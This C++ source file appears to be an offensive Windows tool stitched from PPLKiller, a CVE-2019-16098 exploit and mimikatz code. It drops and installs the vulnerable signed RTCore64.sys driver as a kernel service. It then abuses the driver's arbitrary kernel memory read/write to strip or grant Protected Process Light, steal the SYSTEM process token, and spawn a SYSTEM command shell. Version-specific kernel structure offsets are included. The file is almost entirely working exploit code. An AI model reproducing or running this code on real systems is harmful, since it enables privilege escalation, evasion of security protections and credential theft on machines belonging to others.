#include "stdafx.h" // CODE FROM // https://github.com/gijsh/PPLKiller/tree/feature-allow-ppl-protection // https://github.com/RedCursorSecurityConsulting/PPLKiller // https://github.com/Barakat/CVE-2019-16098 // https://github.com/gentilkiwi/mimikatz // https://github.com/TarlogicSecurity/EoPLoadDriver/ #define AUTHOR L"@aceb0nd" #define VERSION L"0.3" #if !defined(PRINT_ERROR_AUTO) #define PRINT_ERROR_AUTO(func) (wprintf(L"ERROR " TEXT(__FUNCTION__) L" ; " func L" (0x%08x)\n", GetLastError())) #endif struct Offsets { DWORD64 UniqueProcessIdOffset; DWORD64 ActiveProcessLinksOffset; DWORD64 TokenOffset; DWORD64 SignatureLevelOffset; }; /// helpers WCHAR* dropDriver(); DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt); struct Offsets getVersionOffsets(); void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection); VOID InstallVulnerableDriver() { const auto svcName = L"RTCore64"; WCHAR* driverPath = dropDriver(); const auto svcDesc = L"Micro-Star MSI Afterburner"; if (auto status = service_install(svcName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE) == 0x00000005) { printf("[!] 0x00000005 - Access Denied - Did you run as Administrator?\n"); ExitProcess(1); } } VOID EnablePPL() { auto offsets = getVersionOffsets(); if (offsets.UniqueProcessIdOffset == 0) { printf("[!] OS not supported - bailing"); ExitProcess(1); } modifyProtectedProcesses(GetCurrentProcessId(), offsets, true); } VOID DisablePPL() { auto offsets = getVersionOffsets(); if (offsets.UniqueProcessIdOffset == 0) { printf("[!] OS not supported - bailing"); ExitProcess(1); } modifyProtectedProcesses(GetCurrentProcessId(), offsets, false); } /// end helpers // Micro-Star MSI Afterburner driver arbitrary read and write primitive // These signed drivers can also be used to bypass the Microsoft driver-signing policy to deploy malicious code. struct RTCORE64_MSR_READ { DWORD Register; DWORD ValueHigh; DWORD ValueLow; }; static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes"); struct RTCORE64_MEMORY_READ { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes"); struct RTCORE64_MEMORY_WRITE { BYTE Pad0[8]; DWORD64 Address; BYTE Pad1[8]; DWORD ReadSize; DWORD Value; BYTE Pad3[16]; }; static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes"); static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030; static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048; static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c; DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_READ_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr); return MemoryRead.Value; } void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) { RTCORE64_MEMORY_READ MemoryRead{}; MemoryRead.Address = Address; MemoryRead.ReadSize = Size; MemoryRead.Value = Value; DWORD BytesReturned; DeviceIoControl(Device, RTCORE64_MEMORY_WRITE_CODE, &MemoryRead, sizeof(MemoryRead), &MemoryRead, sizeof(MemoryRead), &BytesReturned, nullptr); } WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 2, Address) & 0xffff; } DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) { return ReadMemoryPrimitive(Device, 4, Address); } DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) { return (static_cast(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address); } void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) { WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff); WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32); } // END driver comms code // START Mimikatz driver install/uninstall code BOOL kull_m_service_addWorldToSD(SC_HANDLE monHandle) { BOOL status = FALSE; DWORD dwSizeNeeded; PSECURITY_DESCRIPTOR oldSd, newSd; SECURITY_DESCRIPTOR dummySdForXP; SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; EXPLICIT_ACCESS ForEveryOne = { SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL, SET_ACCESS, NO_INHERITANCE, {NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL} }; if (!QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) { if (oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded)) { if (QueryServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) { if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryOne.Trustee.ptstrName)) { if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) { status = SetServiceObjectSecurity(monHandle, DACL_SECURITY_INFORMATION, newSd); LocalFree(newSd); } FreeSid(ForEveryOne.Trustee.ptstrName); } } LocalFree(oldSd); } } return status; } DWORD service_install(PCWSTR serviceName, PCWSTR displayName, PCWSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) { BOOL status = FALSE; SC_HANDLE hSC = NULL, hS = NULL; if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) { if (hS = OpenService(hSC, serviceName, SERVICE_START)) { // wprintf(L"[+] \'%s\' service already registered\n", serviceName); } else { if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) { if (hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL)) { (void)kull_m_service_addWorldToSD(hS); } else PRINT_ERROR_AUTO(L"CreateService"); } else PRINT_ERROR_AUTO(L"OpenService"); } if (hS) { if (startIt) { if (status = StartService(hS, 0, NULL)) ; // wprintf(L"[+] \'%s\' service started\n", serviceName); else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) ; // wprintf(L"[*] \'%s\' service already started\n", serviceName); else { PRINT_ERROR_AUTO(L"StartService"); } } CloseServiceHandle(hS); } CloseServiceHandle(hSC); } else { PRINT_ERROR_AUTO(L"OpenSCManager(create)"); return GetLastError(); } return 0; } BOOL kull_m_service_genericControl(PCWSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) { BOOL status = FALSE; SC_HANDLE hSC, hS; SERVICE_STATUS serviceStatus; if (hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) { if (hS = OpenService(hSC, serviceName, dwDesiredAccess)) { status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus); CloseServiceHandle(hS); } CloseServiceHandle(hSC); } return status; } BOOL service_uninstall(PCWSTR serviceName) { if (kull_m_service_genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) { wprintf(L"[+] \'%s\' service stopped\n", serviceName); } else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) { wprintf(L"[*] \'%s\' service not running\n", serviceName); } else { PRINT_ERROR_AUTO(L"kull_m_service_stop"); return FALSE; } if (SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) { if (SC_HANDLE hS = OpenService(hSC, serviceName, DELETE)) { BOOL status = DeleteService(hS); CloseServiceHandle(hS); } CloseServiceHandle(hSC); } return TRUE; } // END Mimikatz code void Log(const char* Message, ...) { const auto file = stderr; va_list Args; va_start(Args, Message); std::vfprintf(file, Message, Args); std::fputc('\n', file); va_end(Args); } unsigned long long getKernelBaseAddr() { DWORD out = 0; DWORD nb = 0; PVOID* base = NULL; if (EnumDeviceDrivers(NULL, 0, &nb)) { base = (PVOID*)malloc(nb); if (base && EnumDeviceDrivers(base, nb, &out)) { return (unsigned long long)base[0]; } } return NULL; } int processPIDByName(const WCHAR* name) { int pid = 0; // Create a snapshot of currently running processes HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Some error handling in case we failed to get a snapshot of running processes if (snap == INVALID_HANDLE_VALUE) { PRINT_ERROR_AUTO(L"processPIDByName"); return 0; } // Declare a PROCESSENTRY32 class PROCESSENTRY32 pe32; // Set the size of the structure before using it. pe32.dwSize = sizeof(PROCESSENTRY32); // Retrieve information about the first process and exit if unsuccessful if (!Process32First(snap, &pe32)) { PRINT_ERROR_AUTO(L"processPIDByName"); CloseHandle(snap); // clean the snapshot object } do { if (wcscmp(pe32.szExeFile, name) == 0) { pid = pe32.th32ProcessID; } } while (Process32Next(snap, &pe32)); // Clean the snapshot object to prevent resource leakage CloseHandle(snap); return pid; } void modifyProtectedProcesses(DWORD targetPID, Offsets offsets, BOOL enableProtection) { const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (Device == INVALID_HANDLE_VALUE) { Log("[!] Unable to obtain a handle to the device object"); return; } // Log("[*] Device object handle has been obtained"); const auto NtoskrnlBaseAddress = getKernelBaseAddr(); // Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress); // Locating PsInitialSystemProcess address static DWORD64 PsInitialSystemProcessAddress = 0; if (0 == PsInitialSystemProcessAddress) { static HMODULE Ntoskrnl = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); static DWORD64 PsInitialSystemProcessOffset = reinterpret_cast(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast(Ntoskrnl); FreeLibrary(Ntoskrnl); PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset); // Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress); } // Find our process in active process list const DWORD64 TargetProcessId = static_cast(targetPID); DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset; DWORD64 CurrentProcessAddress = ProcessHead; do { const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset; const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset); if (UniqueProcessId == TargetProcessId) { break; } CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset); } while (CurrentProcessAddress != ProcessHead); CurrentProcessAddress -= offsets.ActiveProcessLinksOffset; // Log("[*] Current process address: %p", CurrentProcessAddress); if (enableProtection) { // Log("[*] Enabling PPL protection for process."); // SignatureLevel is the signature of the EXE. // It's already been checked, so highly-protective values here can't hurt us. WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x38); // SectionSignatureLevel=0 means the signatures required for DLLs that are going to be loaded in the future WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+1, 0); /* This is PsProtectedTypeProtectedLight and PsProtectedSignerWinTcb (copied from services.exe) 4: kd> dx -id 0,0,ffffe283b48b8040 -r1 (*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a)) (*((ntkrnlmp!_PS_PROTECTION *)0xffffe283b9da593a)) [Type: _PS_PROTECTION] [+0x000] Level : 0x61 [Type: unsigned char] [+0x000 ( 2: 0)] Type : 0x1 [Type: unsigned char] [+0x000 ( 3: 3)] Audit : 0x0 [Type: unsigned char] [+0x000 ( 7: 4)] Signer : 0x6 [Type: unsigned char] */ WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset+2, 0x61); } else { // Log("[*] Disabling PPL protection for process."); // Patches 5 values SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer // Type, Audit, and Signer are a bitfield (_PS_PROTECTION). They consume 1 byte. WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset, 0x00); WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 1, 0x00); WriteMemoryPrimitive(Device, 1, CurrentProcessAddress + offsets.SignatureLevelOffset + 2, 0x00); } // Cleanup CloseHandle(Device); } void makeSYSTEM(DWORD targetPID, Offsets offsets) { const auto Device = CreateFileW(LR"(\\.\RTCore64)", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (Device == INVALID_HANDLE_VALUE) { Log("[!] Unable to obtain a handle to the device object"); return; } Log("[*] Device object handle has been obtained"); const auto NtoskrnlBaseAddress = getKernelBaseAddr(); Log("[*] Ntoskrnl base address: %p", NtoskrnlBaseAddress); // Locating PsInitialSystemProcess address HMODULE Ntoskrnl = LoadLibraryW(L"ntoskrnl.exe"); const DWORD64 PsInitialSystemProcessOffset = reinterpret_cast(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - reinterpret_cast(Ntoskrnl); FreeLibrary(Ntoskrnl); const DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(Device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset); Log("[*] PsInitialSystemProcess address: %p", PsInitialSystemProcessAddress); // Get token value of System process const DWORD64 SystemProcessToken = ReadMemoryDWORD64(Device, PsInitialSystemProcessAddress + offsets.TokenOffset) & ~15; Log("[*] System process token: %p", SystemProcessToken); // Find our process in active process list const DWORD64 CurrentProcessId = static_cast(targetPID); DWORD64 ProcessHead = PsInitialSystemProcessAddress + offsets.ActiveProcessLinksOffset; DWORD64 CurrentProcessAddress = ProcessHead; do { const DWORD64 ProcessAddress = CurrentProcessAddress - offsets.ActiveProcessLinksOffset; const auto UniqueProcessId = ReadMemoryDWORD64(Device, ProcessAddress + offsets.UniqueProcessIdOffset); if (UniqueProcessId == CurrentProcessId) { break; } CurrentProcessAddress = ReadMemoryDWORD64(Device, ProcessAddress + offsets.ActiveProcessLinksOffset); } while (CurrentProcessAddress != ProcessHead); CurrentProcessAddress -= offsets.ActiveProcessLinksOffset; Log("[*] Current process address: %p", CurrentProcessAddress); // Reading current process token const DWORD64 CurrentProcessFastToken = ReadMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset); const DWORD64 CurrentProcessTokenReferenceCounter = CurrentProcessFastToken & 15; const DWORD64 CurrentProcessToken = CurrentProcessFastToken & ~15; Log("[*] Current process token: %p", CurrentProcessToken); // Stealing System process token Log("[*] Stealing System process token ..."); WriteMemoryDWORD64(Device, CurrentProcessAddress + offsets.TokenOffset, CurrentProcessTokenReferenceCounter | SystemProcessToken); // Cleanup CloseHandle(Device); } void spawnCmd(void) { Log("[*] Spawning new shell ..."); STARTUPINFOW StartupInfo{}; StartupInfo.cb = sizeof(StartupInfo); PROCESS_INFORMATION ProcessInformation; CreateProcessW(LR"(C:\Windows\System32\cmd.exe)", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &StartupInfo, &ProcessInformation); WaitForSingleObject(ProcessInformation.hProcess, INFINITE); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); } struct Offsets getVersionOffsets() { wchar_t value[255] = { 0x00 }; DWORD BufferSize = 255; if (ERROR_SUCCESS != RegGetValueW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"ReleaseId", RRF_RT_REG_SZ, NULL, &value, &BufferSize)) { wprintf(L"[!] Windows Version Not Found!\n"); return Offsets{ 0, 0 , 0, 0 }; } // wprintf(L"[+] Windows Version %s Found\n", value); auto winVer = _wtoi(value); switch (winVer) { case 1607: return Offsets{ 0x02e8, 0x02f0, 0x0358, 0x06c8 }; case 1803: case 1809: return Offsets{ 0x02e0, 0x02e8, 0x0358, 0x06c8 }; case 1903: case 1909: return Offsets{ 0x02e8, 0x02f0, 0x0360, 0x06f8 }; case 2004: case 2009: return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 }; default: wprintf(L"[!] Version Offsets Not Found!\n"); wprintf(L"[!] Guessing offsets...this could crash!\n"); return Offsets{ 0x0440, 0x0448, 0x04b8, 0x0878 }; } } int fileExists(TCHAR* file) { WIN32_FIND_DATA FindFileData; HANDLE handle = FindFirstFile(file, &FindFileData); int found = handle != INVALID_HANDLE_VALUE; if (found) { //FindClose(&handle); this will crash FindClose(handle); } return found; } WCHAR* GetUserLocalTempPath() { //static constexpr std::wstring_view temp_label = L"\\Temp\\"; HWND folder_handle = { 0 }; WCHAR *temp_path = (WCHAR*)malloc(sizeof(WCHAR) * MAX_PATH); if (temp_path == NULL) { return NULL; } // the original path didn't exist for the SYSTEM user // just use current directory if (0 != GetCurrentDirectory(MAX_PATH, temp_path)) { wcscat_s(temp_path, MAX_PATH, L"\\RTCore64.sys"); // printf("Driver Install Path - %S\n", temp_path); return temp_path; } return NULL; } BOOL GetResourcePointer(HINSTANCE Instance, LPCTSTR ResName, LPCTSTR ResType, LPVOID* ppRes, DWORD* pdwResSize) { // Check the pointers to which we want to write if (ppRes && pdwResSize) { HRSRC hRsrc; // Find the resource ResName of type ResType in the DLL/EXE described by Instance if (hRsrc = FindResource((HMODULE)Instance, ResName, ResType)) { HGLOBAL hGlob; // Make sure it's in memory ... if (hGlob = LoadResource(Instance, hRsrc)) { // Now lock it to get a pointer *ppRes = LockResource(hGlob); // Also retrieve the size of the resource *pdwResSize = SizeofResource(Instance, hRsrc); // Return TRUE only if both succeeded return (*ppRes && *pdwResSize); } } } // Failure means don't use the values in *ppRes and *pdwResSize return FALSE; } HINSTANCE gInstance = NULL; WCHAR* dropDriver() { //get driver LPVOID RTCoreDriver; DWORD driverSize; if (GetResourcePointer(gInstance, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) { wprintf(L"GetResourcePointer failed\n"); return FALSE; } auto tempPath = GetUserLocalTempPath(); if (fileExists(tempPath)) { return tempPath; } HANDLE hFile = CreateFile(tempPath, // name of the write GENERIC_WRITE, // open for writing 0, // do not share NULL, // default security CREATE_NEW, // create new file only FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template if (hFile == INVALID_HANDLE_VALUE) { wprintf(L"Unable to open file \"%s\" for write. Error=%d\n", tempPath, GetLastError()); return NULL; } BOOL bErrorFlag = FALSE; DWORD dwBytesWritten = 0; bErrorFlag = WriteFile( hFile, // open file handle RTCoreDriver, // start of data to write driverSize, // number of bytes to write &dwBytesWritten, // number of bytes that were written NULL); // no overlapped structure if (FALSE == bErrorFlag) { wprintf(L"Terminal failure: Unable to write to file.\n"); } else { if (dwBytesWritten != driverSize) { // This is an error because a synchronous write that results in // success (WriteFile returns TRUE) should write all data as // requested. This would not necessarily be the case for // asynchronous writes. wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n"); } else { ; // wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath); } } CloseHandle(hFile); return tempPath; }